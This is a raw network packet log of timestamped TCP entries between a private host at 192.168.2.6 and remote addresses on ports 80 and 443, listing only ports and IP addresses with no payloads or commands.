Nov 23, 2024 19:52:55.580172062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.580873966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.580984116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.580988884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.581026077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.581779957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.581875086 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.581880093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.582026958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.582770109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.582828045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.582886934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.583621979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.583695889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.583725929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.583864927 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.584579945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.584642887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.584656954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.584774017 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.585472107 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.585527897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.585588932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.585727930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.586332083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.586414099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.586441994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.586508989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.587270021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.587340117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.587342978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.587419033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.595355034 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.595385075 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.595442057 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.595478058 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.595493078 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.595527887 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.608422041 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.608453989 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.608536005 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.608553886 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.608581066 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.608598948 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.619700909 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.619724989 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.619792938 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.619798899 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.619837999 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.635596991 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.635621071 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.635674953 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.635688066 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.635694027 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.635744095 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.635761023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.635770082 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.635787964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.635859013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.636054993 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.636126041 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.636164904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.636213064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.636213064 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.636255026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.636302948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.637057066 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.637124062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.637321949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.637404919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.637495995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.637628078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.638212919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.638308048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.638308048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.638319969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.638463020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.638463020 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.638482094 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.638494968 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.638499022 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.643378019 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.643423080 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.643486023 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.643708944 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.643723965 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.647799015 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.647825003 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.647907972 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.647913933 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.647978067 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.657186031 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.657233000 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.657262087 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.657267094 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.657279968 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.657301903 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.657326937 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.657710075 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.657721996 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.688858986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.724534988 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.724616051 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.724724054 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.725119114 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.725136995 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.725147009 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.725151062 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.729180098 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.729197979 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.729249001 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.729252100 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.729295015 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.731657028 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.731703043 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.731954098 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.732074976 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.732095957 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.732106924 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.732111931 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.740648985 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.740659952 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.740772963 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.741485119 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.741502047 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.750302076 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.750329018 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.760346889 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.760488987 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.760844946 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.774854898 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.774878025 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.774902105 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.774908066 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.784817934 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.784851074 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.784931898 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.785372019 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.785394907 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.835321903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.134965897 CET	49897	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.134985924 CET	443	49897	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.135168076 CET	49897	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.135787010 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.135807991 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.135907888 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.136248112 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.136255026 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.136302948 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.136574030 CET	49900	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.136590958 CET	443	49900	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.136725903 CET	49900	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.137228966 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.137284040 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.137348890 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.137613058 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.137619972 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.137669086 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.139113903 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.139128923 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.139441967 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.139456987 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.139655113 CET	49900	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.139666080 CET	443	49900	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.139919043 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.139931917 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.140109062 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.140121937 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.140228033 CET	49897	443	192.168.2.6	13.107.246.40
Nov 23, 2024 19:52:56.140239000 CET	443	49897	13.107.246.40	192.168.2.6
Nov 23, 2024 19:52:56.166604042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.166688919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.166709900 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.166801929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.166992903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.167052984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.167249918 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.167304039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.167948008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.168040037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.168109894 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.168188095 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.168875933 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.168948889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.168956041 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.169008970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.169768095 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.169867039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.169934988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.170669079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.170855999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.170917988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.171643019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.171787977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.171854019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.171932936 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.172508001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.172580957 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.172684908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.172785997 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.173404932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.173423052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.173471928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.174299955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.174360991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.174391031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.174446106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.175240993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.175331116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.175376892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.175427914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.176157951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.176249981 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.176275969 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.176333904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.177052021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.177134991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.177160025 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.177236080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.177979946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.178071976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.178133965 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.178195953 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.179076910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.179153919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.179163933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.179212093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.180037022 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.180115938 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.180136919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.180303097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.180773020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.180808067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.180835962 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.180871010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.181612015 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.181673050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.181674957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.181747913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.296078920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.296152115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.296175003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.296200991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.296526909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.296612978 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.296710968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.296950102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.297139883 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.297175884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.297208071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.297321081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.298052073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.298096895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.298156977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.299014091 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.299077988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.299083948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.299146891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.299870968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.299921989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.299947023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.299999952 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.300784111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.300836086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.300847054 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.301018000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.301680088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.301742077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.301763058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.301845074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.302623987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.302645922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.302719116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.303540945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.303592920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.303606033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.303807020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.304442883 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.304497004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.304531097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.304557085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.305371046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.305450916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.305458069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.305656910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.306308985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.306325912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.306381941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.306381941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.307164907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.307240963 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.307260036 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.307324886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.308075905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.308162928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.308168888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.308222055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.309004068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.309056997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.309072971 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.309115887 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.309927940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.309974909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.310024977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.310024977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.310832024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.310877085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.310929060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.310996056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.311753988 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.311826944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.311856985 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.311892033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.312668085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.312720060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.312735081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.312822104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.313580036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.313640118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.313651085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.313719034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.314470053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.314543962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.314613104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.315373898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.315452099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.315512896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.316320896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.316376925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.316412926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.316473007 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.317212105 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.317270994 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.317378998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.317468882 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.318108082 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.318173885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.318202019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:56.318255901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:56.319041014 CET	80	49831	185.215.113.206	192.168.2.6
